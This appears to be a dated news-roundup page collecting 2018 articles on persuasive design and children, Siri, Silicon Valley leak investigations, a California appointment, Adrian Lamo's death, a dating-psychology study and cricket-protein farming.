The AwakeningHope for this wired generation has seemed dim until recently, when a surprising group has come forward to criticize the tech industry's use of psychological manipulation: tech executives. Tristan Harris, formerly a design ethicist at Google, has led the way by unmasking the industry's use of persuasive design. Interviewed in The Economist's 1843 magazine, he says, ''The job of these companies is to hook people, and they do that by hijacking our psychological vulnerabilities.''
Another tech exec raising red flags about his tech industry's use of mind manipulation is former Facebook president Sean Parker. Interviewed in Axios, he discloses: ''The thought process that went into building these applications, Facebook being the first of them'... was all about: 'How do we consume as much of your time and conscious attention as possible?''' He also said that Facebook exploits ''vulnerability in human psychology'' and remarked, ''God only knows what it's doing to our children's brains.''
A theme advanced by these tech execs is that the industry is unfairly using persuasive technology to gain a profit advantage. ''Consumer internet businesses are about exploiting psychology,'' Chamath Palihapitiya, a former Facebook VP says in a talk ironically given at B.J. Fogg's Stanford University. ''We want to psychologically figure out how to manipulate you as fast as possible and then give you back that dopamine hit.''
Having children of their own can change tech execs' perspective. Tony Fadell, formerly at Apple, is considered the father of the iPad and also of much of the iPhone. He is also the founder and current CEO of Nest. ''A lot of the designers and coders who were in their 20s when we were creating these things didn't have kids. Now they have kids,'' Fadell remarks, while speaking at the Design Museum in London. ''And they see what's going on, and they say, 'Wait a second.' And they start to rethink their design decisions.''
Marc Benioff, CEO of the cloud computing company Salesforce, is one of the voices calling for the regulation of social media companies because of their potential to addict children. He says that just as the cigarette industry has been regulated, so too should social media companies. ''I think that, for sure, technology has addictive qualities that we have to address, and that product designers are working to make those products more addictive, and we need to rein that back as much as possible,'' Benioff told CNBC in January, 2018, while in Davos, Switzerland, site of the World Economic Forum.
Benioff says that parents should do their part to limit their kids' devices, yet expressed, ''If there's an unfair advantage or things that are out there that are not understood by parents, then the government's got to come forward and illuminate that.'' Since millions of parents, for example the parents of my patient Kelly, have absolutely no idea that devices are used to hijack their children's minds and lives, regulation of such practices is the right thing to do.
Another improbable group to speak out on behalf of children is tech investors. Major Apple stockholders'Š'--'Šthe hedge fund Jana Partners and California State Teachers' Retirement System, which collectively own $2 billion in the firm's stock'Š'--'Šhave recently raised concerns that persuasive design is contributing to kids' suffering. In an open letter to Apple, the investors, teaming up with leading child technology experts, detailed evidence that kids' overuse of phones and devices is leading to their increased risk of depression and suicide risk factors. Specifically calling out the destructive impact of persuasive technology, the letter reads: ''It is also no secret that social media sites and applications for which the iPhone and iPad are a primary gateway are usually designed to be as addictive and time-consuming as possible.''
Going LowerHow has the consumer tech industry responded to these calls for change? By going even lower. Facebook recently launched Messenger Kids, a social media app that will reach kids as young as five years old. Suggestive that harmful persuasive design is now honing in on very young children is the declaration of Messenger Kids Art Director, Shiu Pei Luu, ''We want to help foster communication [on Facebook] and make that the most exciting thing you want to be doing.''
Facebook's narrow-minded vision of childhood is reflective of how out of touch the social network and other consumer tech companies are with the needs of an increasingly troubled generation. The most ''exciting thing'' for young children should be spending time with family, playing outside, engaging in creative play, and other vital developmental experiences'Š'--'Šnot being drawn into the social media vortex on phones or tablets. Moreover, Facebook Messenger Kids is giving an early start to the wired life on social media that we know poses risks of depression and suicide-related behavior for older children.
In response to the release of Facebook's Messenger Kids, the Campaign for a Commercial-Free Childhood (CCFC) sent Facebook a letter signed by numerous health advocates calling on the company to pull the plug on the app. Facebook has yet to respond to the letter and instead continues to aggressively market Messenger Kids for young children.
The Silence of a ProfessionWhile tech execs and investors are speaking out against the tech industry's psychological manipulation of children, the American Psychological Association (APA)'Š'--'Šwhich is tasked with protecting children and families from harmful psychological practices'Š'--'Šhas been essentially silent on the matter. This is not suggestive of malice; instead, the APA leadership'Š'--'Šmuch like parents'Š'--'Šis likely unaware of the tech industry's distorted use of psychology. Nonetheless, there is irony, as psychologists and their powerful tools are guided by ethics, while tech execs and investors are not.
The Ethics Code of the APA, U.S psychology's chief professional organization, is quite clear: ''Psychologists strive to benefit those with whom they work and take care to do no harm.'' Moreover, APA Ethical Standards require the profession to make efforts to correct the ''misuse'' of the work of psychologists, which would include the application of B.J. Fogg's persuasive technologies to influence children against their best interests. The code even provides special protection to kids because their developmental ''vulnerabilities impair autonomous decision making.''
Manipulating children for profit without their own or parents' consent, and driving kids to spend more time on devices that contribute to emotional and academic problems is the embodiment of unethical psychological practice. Silicon Valley corporations and the investment firms that support them are heavily populated by highly privileged white men who use concealed mind-bending techniques to control the lives of defenseless kids. Addressing this inequity is Tristan Harris, who says, ''Never before in history have basically 50 mostly men, mostly 20''35, mostly white engineer designer types within 50 miles of where we are right now [Silicon Valley], had control of what a billion people think and do.'' Harris was recounting an excerpt of a presentation he made while at Google during an interview with journalist Kara Swisher for Recode Decode in February of 2017.
Some may argue that it's the parents' responsibility to protect their children from tech industry deception. However, parents have no idea of the powerful forces aligned against them, nor do they know how technologies are developed with drug-like effects to capture kids' minds. Parents simply can't protect their children or teens from something that's concealed and unknown to them.
Others will claim that nothing should be done because the intention behind persuasive design is to build better products, not manipulate kids. In fact, for those working in the user experience and persuasion fields, I'm sure there is no intent to harm children. The negative consequences of persuasive technology have been for the most part accidental, an unfortunate byproduct of an exceptionally competitive design process. However, similar circumstances exist in the cigarette industry, as tobacco companies have as their intention profiting from the sale of their product, not hurting children. Nonetheless, because cigarettes and persuasive design predictably harm children, actions should be taken to protect kids from their effects.
A Conscience in an Age of MachinesSince its inception, the field of persuasive technology has operated in a moral vacuum. The resulting tragedy is not surprising.
In truth, the harmful potential of using persuasive design has long been recognized. Fogg, himself, says in a 1999 journal article, ''Persuasive computers can also be used for destructive purposes; the dark side of changing attitudes and behaviors leads toward manipulation and coercion.'' And in a 1998 academic paper, Fogg describes what should happen if things go wrong, saying, if persuasive technologies are ''deemed harmful or questionable in some regard, a researcher should then either take social action or advocate that others do so.''
More recently, Fogg has actually acknowledged the ill effects of persuasive design. Interviewed by Ian Leslie in 2016 for The Economist's 1843 Magazine, Fogg says, ''I look at some of my former students and I wonder if they're really trying to make the world better, or just make money.'' And in 2017 when Fogg was interviewed by 032c Magazine, he acknowledged, ''You look around the restaurants and pretty much everyone has their phone on the table and they're just being constantly drawn away from the live face-to-face interaction'Š'--'ŠI do think that's a bad thing.'' Nonetheless, Fogg hasn't taken meaningful action to help those hurt by the field he fathered. Nor have those in positions of power, with the recent exception of tech execs coming forward, done anything to limit the manipulative and coercive use of digital machines against children and teens.
So, how can children be protected from the tech industry's use of persuasive design? I suggest turning to President John F. Kennedy's prescient guidance: He said that technology ''has no conscience of its own. Whether it will become a force for good or ill depends on man.'' I believe that the psychology profession, with its understanding of the mind and ethics code as guidance, can step forward to become a conscience guiding how tech corporations interact with children and teens.
The APA should begin by demanding that the tech industry's behavioral manipulation techniques be brought out of the shadows and exposed to the light of public awareness. Changes should be made in the APA's Ethics Code to specifically prevent psychologists from manipulating children using digital machines, especially if such influence is known to pose risks to their well-being. Moreover, the APA should follow its Ethical Standards by making strong efforts to correct the misuse of psychological persuasion by the tech industry and by user experience designers outside the field of psychology.
There is more the psychology profession can and should do to protect children and rectify the harm being done to kids. It should join with tech executives who are demanding that persuasive design in kids' tech products be regulated. The APA also should make its powerful voice heard amongst the growing chorus calling out tech companies that intentionally exploit children's vulnerabilities. And the APA must make stronger and bolder efforts to educate parents, schools, and fellow child advocates about the harms of kids' overuse of digital devices.
With each passing day, new and more influential persuasive technologies are being deployed to better take advantage of children's and teens' inherent limitations. The psychology profession must insist in this new age that its tools be used to improve rather than hinder children's health and well-being. By making a strong statement against the exploitive use of persuasive design, the APA and the psychology profession can help provide the conscience needed to guide us in this age of dangerously powerful digital machines.
The Seven-Year Itch: How Apple's Marriage to Siri Turned Sour '-- The Information
Sat, 17 Mar 2018 22:18
Apple's 2011 ''Let's talk iPhone'' event at its Cupertino headquarters was a pivotal moment for the company. It was the first big showcase for new CEO Tim Cook as he tried to fill the shoes of the legendary but ailing Steve Jobs. Yet the event threatened to disappoint because the company's new iPhone, the 4s, was simply an incremental update and not a flashy new iPhone 5.
Siri saved the day. Apple unveiled the digital assistant and showed off its ability to respond to voice commands that created reminders, scheduled calendar events or brought up information on restaurants or weather. Critics marveled at Siri's potential and speculated that Apple might have developed another revolutionary product. Customers seemed to agree, and three days after the iPhone 4s launched, Apple had sold four million devices, at the time making it the fastest-selling iPhone ever.
Fast forward seven years, and Siri is a problem. It's arguably the main reason that Apple's latest product launch'--a $349 smart speaker called HomePod'--has underperformed, based on early estimates from analysts. Although the speaker won plaudits for its sleek look and audio quality, review after review trashed the Siri functionality with words like ''dopey, ''''annoying'' and ''embarrassingly inadequate.''
'They'll squash you like a bug': how Silicon Valley keeps a lid on leakers | Technology | The Guardian
Sun, 18 Mar 2018 13:10
A former Facebook employee described his experience as the subject of an internal investigation: 'It's horrifying how much they know.' Photograph: Jeff Chiu/AP
O ne day last year, John Evans (not his real name) received a message from his manager at Facebook telling him he was in line for a promotion. When they met the following day, she led him down a hallway praising his performance. However, when she opened the door to a meeting room, he came face to face with members of Facebook's secretive ''rat-catching'' team, led by the company's head of investigations, Sonya Ahuja.
The interrogation was a technicality; they already knew he was guilty of leaking some innocuous information to the press. They had records of a screenshot he'd taken, links he had clicked or hovered over, and they strongly indicated they had accessed chats between him and the journalist, dating back to before he joined the company.
''It's horrifying how much they know,'' he told the Guardian, on the condition of anonymity. ''You go into Facebook and it has this warm, fuzzy feeling of 'we're changing the world' and 'we care about things'. But you get on their bad side and all of a sudden you are face to face with [Facebook CEO] Mark Zuckerberg's secret police.''
The public image of Silicon Valley's tech giants is all colourful bicycles, ping-pong tables, beanbags and free food, but behind the cartoonish facade is a ruthless code of secrecy. They rely on a combination of Kool-Aid, digital and physical surveillance, legal threats and restricted stock units to prevent and detect intellectual property theft and other criminal activity. However, those same tools are also used to catch employees and contractors who talk publicly, even if it's about their working conditions, misconduct or cultural challenges within the company.
While Apple'sculture of secrecy, which includes making employees sign project-specific NDAs and covering unlaunched products with black cloths, has been widely reported, companies such as Google and Facebook have long put the emphasis on internal transparency.
Zuckerberg hosts weekly meetings where he shares details of unreleased new products and strategies in front of thousands of employees. Even junior staff members and contractors can see what other teams are working on by looking at one of many of the groups on the company's internal version of Facebook.
''When you first get to Facebook you are shocked at the level of transparency. You are trusted with a lot of stuff you don't need access to,'' said Evans, adding that during his induction he was warned not to look at ex-partners' Facebook accounts.
''The counterbalance to giving you this huge trusting environment is if anyone steps out of line, they'll squash you like a bug.''
The Google campus in Mountain View, California. The company has been sued for using overly broad confidentiality agreements and getting employees to spy on each other. Photograph: JasonDoiy/Getty ImagesDuring one of Zuckerberg's weekly meetings in 2015, after word of its new messaging assistant spread, the usually affable CEO warned employees: ''We're going to find the leaker, and we're going to fire them.'' A week later came the public shaming: Zuck revealed the culprit had been caught and fired. People at the meeting applauded.
''Companies routinely use business records in workplace investigations, and we are no exception,'' said a Facebook spokeswoman, Bertie Thomson.
It's a similar story at Google. Staff use an internal version of Google Plus and thousands of mailing lists to discuss everything from homeownership to items for sale, as well as social issues like neoconservatism and diversity. With the exception of James Damore's explosive memo about gender and tech, most of it doesn't leak.
By and large, staff buy into the corporate mission in a happy-clappy campus which helps foster a tribal mentality that discourages treachery. Employees are also rewarded with annual allocations of restricted stock that can buy silence for years after leaving.
''You would never do something that screws up the company's chance of success because you are directly affected by it,'' said a former Googler Justin Maxwell, who noted the pressure to behave in a ''Googley'' way.
The search engine's former head of investigations, Brian Katz, highlighted this in 2016 in a company-wide email titled: ''Internal only. Really.''
''If you're considering sharing confidential information to a reporter '' or to anyone externally '' for the love of all that's Googley, please reconsider! Not only could it cost you your job, but it also betrays the values that makes [sic] us a community,'' he wrote.
Leaking isn't 'Googley'. Photograph: San Francisco Superior CourtThis email came to light after another former employee sued Google for its overzealous approach to preventing leaks using overly broad confidentiality agreements and getting employees to spy on and report each other. The legal complaint alleges that Google's policies violate labour laws that allow employees to discuss workplace conditions, wages and potential legal violations inside the company. Both parties are scheduled to enter mediation later this year.
James Damore, the software engineer who was fired from Google after writing a controversial memo questioning diversity programmes, suspects he was being monitored by the company during his final days.
He also described ''weird things'' happening to his work phone and laptop after the memo went viral. ''All the internal apps updated at the same time, which had never happened before. I had to re-sign in to my Google account on both devices and my Google Drive '' where the document was '' stopped working.''
Damore said that much of the spying capabilities were outlined in his contract and that it was mostly ''necessary'' for a company that gives ''everyone access to secret things''.
After he was fired, Damore stopped using his personal Gmail account in favour of Yahoo email out of fear that Google might be spying on him. ''My lawyer doesn't think they are above doing that,'' he said.
It's not implausible: Microsoft read a French blogger's Hotmail account in 2012 to identify a former employee who had leaked trade secrets.
However, a Google spokeswoman said the company never reads personal email accounts and denied spying on Damore's devices.
''I wouldn't expect them to admit to it,'' Damore said.
Since Damore's memo, Google has become much leakier, particularly around internal discussions of racial and gender diversity.
''It's a cry for help internally,'' said another former Googler, who now runs a startup.
He said people at Google had for years put up with covert sexism, internal biases or, in his case, a manager with anger management problems. ''No one would do anything until one day a VP saw the guy yelling at me in the hallway.
''People have been dealing with this stuff for years and are finally thinking 'if Google isn't going to do something about it, we're going to leak it'.''
Everyone was paranoid. When we texted each other, we'd use code if we needed to talk about work
For low-paid contractors who do the grunt work for big tech companies, the incentive to keep silent is more stick than carrot. What they lack in stock options and a sense of corporate tribalism, they make up for in fear of losing their jobs.
One European Facebook content moderator signed a contract, seen by the Guardian, which granted the company the right to monitor and record his social media activities, including his personal Facebook account, as well as emails, phone calls and internet use. He also agreed to random personal searches of his belongings including bags, briefcases and car while on company premises. Refusal to allow such searches would be treated as gross misconduct.
Following Guardian reporting into working conditions of community operations analysts at Facebook's European headquarters in Dublin, the company clamped down further, he said.
Contractors would be questioned if they took photographs in the office or printed emails or documents. ''On more than one occasion someone would print something and you'd find management going through the log to see what they had printed,'' said one former worker.
Security teams would leave ''mouse traps'' '' USB keys containing data that were left around the office to test staff loyalty. ''If you find a USB or something you'd have to give it in straight away. If you plugged it into a computer it would throw up a flare and you'd be instantly escorted out of the building.''
''Everyone was paranoid. When we texted each other we'd use code if we needed to talk about work and meet up in person to talk about it in private,'' he said.
Some employees switch their phones off or hide them out of fear that their location is being tracked. One current Facebook employee who recently spoke to Wired asked the reporter to turn off his phone so the company would have a harder time tracking if it had been near the phones of anyone from Facebook.
James Damore stopped using his personal Gmail account after being fired, due to fears Google was spying on him. Photograph: Winni Wintermeyer for the GuardianTwo security researchers confirmed that this would be technically simple for Facebook to do if both people had the Facebook app on their phone and location services switched on. Even if location services aren't switched on, Facebook can infer someone's location from wifi access points.
''We do not use cellphones to track employee locations, nor do we track locations of people who do not work at Facebook, including reporters,'' said Thomson.
Companies will also hire external agencies to surveil their staff. One such firm, Pinkerton, counts Google and Facebook among its clients.
Among other services, Pinkerton offers to send investigators to coffee shops or restaurants near a company's campus to eavesdrop on employees' conversations.
''If we hear anything about a new product coming, or new business ventures or something to do with stocks, we'll feed that information back to corporate security,'' said David Davari, a managing director at the firm, adding that the focus is usually IP theft or insider trading.
Facebook and Google both deny using this service.
Through LinkedIn searches, the Guardian found several former Pinkerton investigators to have subsequently been hired by Facebook, Google and Apple.
''These tools are common, widespread, intrusive and legal,'' said Al Gidari, consulting director of privacy at the Stanford Center for Internet and Society.
''Companies are required to take steps to detect and deter criminal misconduct, so it's not surprising they are using the same tools to make sure employees are in compliance with their contractual obligations.''
Migrants
First Undocumented Immigrant Appointed to State Post in California
Sun, 18 Mar 2018 01:12
For the first time in California's history, the state has appointed an undocumented resident to a statewide post, announcing the decision just a day after President Donald Trump attacked its immigration approach during a visit to San Diego.
The decision made by the Senate Rules Committee on Wednesday saw Lizbeth Mateo, a 33-year-old attorney and immigrant rights activist, appointed to serve on a committee that helps increase college access for students from low-income or underserved communities.
In announcing the decision, Senate President pro tempore Kevin de Le"n appeared to recognize the move as an act of defiance in the face of the Trump administration's current immigration crackdown.
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Lizbeth Mateo is the first undocumented resident in California to be appointed to a statewide post Lizbeth Mateo Law
"While Donald Trump fixates on walls, California will continue to concentrate on opportunities," de Le"n told The Sacramento Bee in a statement. "Ms. Mateo is a courageous, determined and intelligent young woman who at great personal risk has dedicated herself to fight for those seeking their rightful place in this country."
Mateo said she welcomed the opportunity, telling the newspaper, "While undocumented students have become more visible in our state, they remain under-represented in places where decisions that affect them are being made."
The attorney was born in Oaxaca, Mexico, and came to the U.S. with her parents when she was just 14 years old. She went on to develop a passion for law and became the first person in her family to graduate from college, receiving her degree from Santa Clara University law school in 2016 and passing the California bar last year, according to her legal firm's website. She was officially sworn in by de Le"n on June 29, 2017.
California became the first state in the U.S. to allow undocumented immigrants to practice law in 2014, with New York following in its footsteps not long after.
Senate President pro tempore Kevin de Le"n announced the appointment of Lizbeth Mateo, a 33-year-old attorney, to a statewide post on Wednesday. Jessica Kourkounis/Getty
In 2010, Mateo also became one of the first undocumented young people to risk deportation by demanding the passage of the DREAM Act, legislation that would grant certain immigrants, including Dreamers, or people brought to the U.S. illegally as children, a path to citizenship. She also played a key role in helping a group of young people now known as the "Dream 9" return to the U.S. after being deported to Mexico.
The decision to appoint Mateo to a statewide post came just a day after Trump visited California for the first time as president, taking a trip to San Diego to see prototypes of the border wall he plans to build between the U.S. and Mexico.
Read more: Trump in California: President says state is 'begging us to build walls'
During the visit, Trump claimed that California was "begging us to build walls in certain areas."
"They won't tell you that, but we said no, we won't do it until we build the whole wall," Trump said, adding that parts of the state were complaining about "people pouring in" across the U.S.-Mexico border.
The president has repeatedly condemned California's allowance of sanctuary cities, writing on Twitter on Wednesday that "California's sanctuary policies are illegal and unconstitutional and put the safety and security of our entire nation at risk.
"Thousands of dangerous and violent criminal aliens are released as a result of sanctuary policies, set free to prey on innocent Americans. THIS MUST STOP!" he added.
The U.S. leader also lashed out at the state's governor, Jerry Brown, saying he was doing a "terrible" job. Brown hit back, saying, "Thanks for the shout-out, Donald Trump. But bridges are still better than walls."
2TTH
Adrian Lamo, Hacker Who Reported Chelsea Manning to the F.B.I., Dies at 37 - The New York Times
Sun, 18 Mar 2018 10:06
Adrian Lamo, a hacker who made headlines for breaking into the computer networks of The New York Times and other major corporations, in 2011. Mr. Lamo, 37, was found dead on Wednesday in a Kansas apartment. Credit Patrick Semansky/Associated Press Adrian Lamo, a hacker best known for breaking into the computer networks of The New York Times and other major corporations, and for reporting the Army whistle-blower Chelsea Manning to the authorities, was found dead on Wednesday in Wichita, Kan. He was 37.
Mr. Lamo's body was discovered in an apartment in the city, The Wichita Eagle reported. His father announced the death in a post on Facebook on Friday. Kate Flavin, a spokeswoman for Sedgwick County, Kan., said on Saturday that the cause of death was unknown.
Mr. Lamo was 22 when federal prosecutors accused him of breaking into The Times's computer network, creating fake usernames and running up over $300,000 in data research fees. Mr. Lamo also gained access to the computer networks of Yahoo, Microsoft and Cingular Wireless, prosecutors said.
''It's like someone kicking in your front door while you're on vacation and running up a $300,000 bill on your phone, and then telling you when you arrive home that he had performed a useful service by demonstrating that your deadbolt wasn't secure enough,'' James B. Comey, then the United States attorney in Manhattan, said in 2003, referring to Mr. Lamo's activities.
Mr. Lamo pleaded guilty to one count of computer damage, telling a federal judge that he was ''genuinely remorseful'' for his actions. He was sentenced to house arrest and probation.
Mr. Lamo was never a ''malicious hacker,'' his father, Mario Lamo, said in a message, adding, ''Everything that he did was out of curiosity.'' The younger Mr. Lamo told Wired magazine in 2010 that he had Asperger's syndrome.
In 2010, Ms. Manning, an Army private, contacted Mr. Lamo via instant message. They chatted for a week about her personal problems in the military. Ms. Manning admitted that she had leaked classified video of a helicopter attack in Baghdad that left 12 people dead, including two Reuters employees, to WikiLeaks.org, which published the video online under the title ''Collateral Murder.''
Mr. Lamo said Ms. Manning had also admitted leaking to WikiLeaks 260,000 classified diplomatic cables and video of a 2009 Afghanistan airstrike that left 96 people dead.
''He was just grabbing information from where he could get it and trying to leak it,'' Mr. Lamo told The Times in 2010 about Ms. Manning, a transgender woman who was then known as Bradley Manning.
Mr. Lamo called the F.B.I. and relayed Ms. Manning's admissions. She was arrested and eventually sentenced to 35 years in prison for leaking over 750,000 documents and video, the longest punishment ever imposed for a leak conviction. President Barack Obama commuted Ms. Manning's sentence in January 2017, and she recently filed to run for the United States Senate in Maryland.
Mr. Lamo said he was worried that the leaks provided by Ms. Manning would endanger people's lives.
''I thought to myself, 'What if somebody dies because this information is leaked?''' he said in 2010.
WikiLeaks and others condemned Mr. Lamo for turning Ms. Manning in to the federal authorities.
Julian Assange, the founder of WikiLeaks, called Mr. Lamo a ''serial F.B.I. snitch'' on Twitter. On the comments of the Facebook post announcing Mr. Lamo's death, some called him a ''real hero'' and ''true patriot.''
Mario Lamo said his son went through a difficult period after reporting Ms. Manning to the authorities.
''He was vilified by many people by his position about the Manning affair,'' he said. ''I was with him when this happened and understood that he lived by some principles and he stood for them.''
In addition to his father, Mr. Lamo is survived by his mother, Mary Atwood, and two siblings.
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War on Men
Do Men Like Smart Women? Turns Out, They're PETRIFIED Of Them | YourTango
Sun, 18 Mar 2018 12:31
Thanks, patriarchy!
What's more terrifying for men than an alien wanting to prod and probe them? Anybody? You know the answer: A smart woman.
Do men like smart women? Well, science has finally confirmed what we've all long suspected: Men find intelligent women scary. Oh, wait there's more! Science has also discovered that when a woman does something better than a man, his feelings of masculinity diminish.
A recent study called "(Psychological) Distance Makes the Heart Grow Fonder" found that while men like the idea of dating a smartwoman,when it comes to the reality of it, they're not interested. And when a woman is better at a task than they are, they feel like less of a man.
RELATED: Men Don't Think Smart Women Are Sexy (And I'm Living Proof)
In the preliminary survey of the study, 86 percent of men said that they would feel comfortable dating someone smarter than them. In the series of experiments that followed, the researchers tested the validity of those claims.
In the first version of the study, 105 undergraduate male participants read a hypothetical scenario about a woman who did better than they did on a test, and then the participants were asked to rate how romantically desirable the woman seemed. In the second version, the researchers had 151 male undergraduates take an intelligence test and then asked if they were interested in meeting the woman down the hall, who had either scored higher or lower than them on the test.
Both of these studies found that when men imagined a hypothetical woman who was smarter than them or only knew of the woman in an abstract sense, they were interested in meeting or possibly dating her. Apparently, a smart woman is great in theory but not in practice.
In the next two versions of the study, the male participants came in contact with a woman (who was associated with the study) who either had done better or worse on an I.Q. test than they had. After the participants met the woman, took the test while seated next to her, and heard both their scores read aloud, the male participants were instructed to move their chairs across from the woman.
The participants were then instructed to take a survey about their first impressions of the other '-- specifically how attractive and desirable they found each other. The researchers were interested in the actual physical distance between the two chairs as the true measure of how attracted the man was to the woman.
RELATED: Why Smart Women Can Get So Dumb When It Comes To Love
Not surprisingly, the men who were partnered with a woman who scored higher on the intelligence test felt the need to physically distance themselves from her when moving their chairs. They also tended to rate the woman as less attractive and dateable than the men who interacted with a woman and scored worse than they did.
The last two versions of the study (six altogether) found that men were less interested in dating and interacting with a more intelligent woman when she was face-to-face with them.
However, in the fifth study, when she was psychologically distant (allegedly in the next room), there wasn't any difference in the men's inclination to date or interact with her, no matter how well she scored on the test compared to them. In fact, the men who never saw the woman showed a slight tendency to want to interact with a woman who was supposedly smarter.
The findings were summed up this way: "[The] six studies revealed that when evaluating psychologically distant targets, men showed greater attraction toward women who displayed more (vs. less) intelligence than themselves. In contrast, when targets were psychologically near, men showed less attraction toward women who outsmarted them."
So, do men like smart women? Scientifically speaking, no, and that's pretty sad.
If you're a smart woman having trouble dating, check out the video below for tips and tricks on how to score a relationship:
.......
Christine Schoenwald is a writer, performer, and teacher who loves writing and performing personal narratives. She's had pieces in The Los Angeles Times, Salon, Woman's Day, Purple Clover, Bustle, and is a regular contributor to Ravishly and YourTango . Check out her website or her Facebook page.
Photo: Columbia Pictures
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Bugs
The bug in our diet: Throw away everything you think about eating insects; it's the future of protein and the future is now | National Post
Sun, 18 Mar 2018 12:52
''I often wonder if we're the largest in the world,'' Jarrod Goldin says of his 60,000 square- foot farm in Norwood, Ont. The entrepreneurial farmer with a ready smile, steady gaze and soft South African accent isn't referring to acreage or production, though. He's talking about the count of his livestock '' and he might just be right.
Jarrod and his brothers, Darren and Ryan, founded Entomo Farms in 2013. It boasts 100 million head, but the three barns on the property aren't filled to the rafters with cattle or poultry. The Goldins are insect farmers. Entomo sells cricket and mealworm powders, and whole-roasted insects via its website. Its first farm was 5,000 square feet, with nine employees producing 250 pounds (113 kg) of crickets per week. Today, as a global leader in the cultivation of insect protein for food, it has a weekly harvest of 3,000 pounds (1,361 kg) produced by 30 employees. Jarrod explains that the farm's core business is that of an ingredient supplier. They sell cricket powder to packaged goods companies for the production of foods, such as insect-fortified chips, crackers and pasta.
For years, the Food and Agriculture Organization (FAO) of the United Nations and global thought leaders alike have been championing insects as a sustainable source of high-quality protein (requiring six times less feed than cattle to produce the equivalent amount of protein). However, the perceived ''ick factor'' of entomophagy (insect eating) still gives some Western consumers pause.
According to Julie Lesnik, Assistant Professor of Anthropology at Wayne State University in Detroit, people in northern regions tend to eschew bugs, in part, because of the diets of their ancient ancestors. Unlike Mexico, and Central and South America, where insects are plentiful and the practice of eating them is well-established, the northern part of North America was covered in ice tens of thousands of years ago. The colder climates didn't allow for the same exposure.
''When you read books by (European) travellers in the 1700s or 1800s, if they went to Africa or somewhere like Mexico where they saw people eating insects, it would be like, 'Their hunger's so great, their access to meat so scarce that they resorted, horrifically, to eating insects.' That wasn't the case whatsoever. They were doing it because it was healthy and good for their environment,'' Jarrod says.
Ont.-based Entomo Farms is a global leader in cricket farming. Co-founder Darren Goldin is pictured with some of the banded crickets raised on the farm. Stewart Stick This ''othering'' mentality persists in the West today. Globally, however, an estimated two-billion people eat insects as a regular part of their diet. In 2016, the worldwide market for edible insects was valued at nearly $43 million, according to Global Market Insights. It's expected to gain serious momentum, with more than 40 per cent growth by 2023. There are as many as 2,000 edible insect species around the world '' including ants, grasshoppers, beetles and caterpillars '' and the practice of eating bugs is slowly but steadily catching on in the Western world.
As Jarrod puts it, there are three very simple reasons for more people to consider the option: ''It's delicious, it's nutritious and it's sustainable.'' The same could also be said for many of the plant-based protein products already found in supermarkets. However, foods packing a bug-fuelled protein punch have never enjoyed the same grocery-store ubiquity as the veggie burger. That is, until now.
In Canada, eating crickets has gone mainstream. Loblaw Companies Ltd. is giving credence to the projection that insect protein could be the future of food by adding Entomo's cricket powder to its PC Insiders Collection for spring. Now sold at every Loblaw grocery store in the country, the immense availability of cricket powder signals a significant shift in attitudes. The fact that you can pick up a bag at your local supermarket firmly establishes insect protein as a choice for Canadian consumers.
''It's one thing for us to be educating people and telling them, 'You can get these products from this website.' It's another thing for them to see it on their grocery shelf,'' says Robert Nathan Allen, president of Little Herds, an educational non-profit group focusing on edible insects. ''That legitimizes it so much more. It gives the consumer the trust and confidence to try that product because their trusted grocer is carrying it.''
''This opportunity with Loblaw is massive validation for the category, for our industry,'' Jarrod says. ''We're excited to see what comes out of it in that respect. Hopefully it's just that first step toward further acceptance and normalization.''
Darren adds, ''It's a huge opportunity for us to get out of what has generally been a start-up-oriented business and really affect change on a much, much grander scale.''
Kathlyne Ross, VP of product development and innovation at Loblaw, says that PC 100% Cricket Powder is the first of several insect-based foods the company is planning to launch in the near future. Ross was first introduced to edible insects on a trip to Southeast Asia more than 20 years ago. She sees the relatively recent emphasis on meat alternatives in Canada as ''the evolution of food.'' The next step in that evolution, ''is looking at nutritional bars '' a meal- or snack-replacement idea,'' Ross says. ''We're actively looking for a supplier that would help make those, and then of course Entomo would supply the raw material.''
In 2017, research published in the journal Global Food Security found that insects and plant-based meats ''have the highest land use efficiency.'' According to the Guardian, if people swapped half of traditional animal products (beef, lamb) for faux meat or bugs, ''the land required to produce the world's food would be slashed by a third.'' Cricket powder's strong sustainability, nutritional properties, diverse applications and palatability made it the clear choice as Loblaw's premier insect-based product for the mass market, Ross adds. ''The powder made more sense because people could incorporate it into food. '... It's helping bridge people that have a bit of the ick factor,'' she says. ''You see the powder and it looks quite benign, and looks like something you could add into anything you're cooking.''
Cricket powder boosts the protein in these strawberry-banana smoothies. The recipe is available on the Presidents Choice website. President's Choice Abstraction '' the fortification of everyday foods without dramatically changing their form, appearance, taste or texture '' is considered a non-threatening way to introduce the concept of entomophagy to hesitant Western consumers. From insect-enriched pancake mixes to cookies, crackers, and mac and cheese, these are easily recognizable foods that offer complete protein and additional nutrients.
While some Canadians react with disgust and indignation at the mere suggestion of insect protein figuring into their diet, this needn't be an all-or-nothing proposition. Rather than the realization of a dystopian future in which humanity must subsist on the cockroach-derived ''protein blocks'' in Bong Joon-ho's film Snowpiercer, this is simply an alternative to conventional sources.
''It's an incredibly wholesome food source that should be available to anybody who wants to utilize it,'' Allen says. ''We don't need everybody to eat it, because not everybody eats shrimp, not everybody eats pork and not everybody eats broccoli '' but those are thriving industries. We only need to have a very small percentage of the consumer base actually add this into their diet to create a very robust and thriving industry. And to be able to show some very outsized environmental impacts.''
In the company's test kitchen, President's Choice Executive Chef Michelle Pennock incorporated cricket powder into a wide variety of dishes. She made a butternut squash and brussels sprouts flatbread with the product in its base, giving it the appearance of a whole wheat crust. As a rule of thumb for savoury or sweet baking, Pennock recommends substituting 10 per cent of the total flour with cricket powder. (Its consistency is similar to nut flours and therefore not intended for 1:1 swaps.)
For a protein boost, she stirred cricket powder into a roasted red pepper and tomato soup topped with harissa-spiced seeds. Hushpuppies made with cheddar cheese and beer had a deep nuttiness due to the cricket powder mixed into the batter.
''The big thing we find, especially with people who are consuming the powder, is smoothies '... and we've made some amazing different fruit-flavoured ones. We did a banana peanut butter one that was great,'' Ross says. ''I like (cricket powder) as an alternative. '... Throw a scoop in my yogurt in the morning '' my Greek or my skyr. It's versatile.''
Although most Canadians meet their daily protein needs without supplements, protein powder is popular with athletes as well as people interested in weight management. Many turn to it for convenience '' a meal on the go '' or to balance a meal or snack that wouldn't otherwise contain an adequate amount of protein. Unlike other protein powders on the market, which are extracted (e.g. whey from milk), cricket powder is a whole food. At Entomo, the insects are harvested at the end of their natural life cycle. They're then rinsed, roasted and ground '' the powder retains the nutrients present in the whole animal.
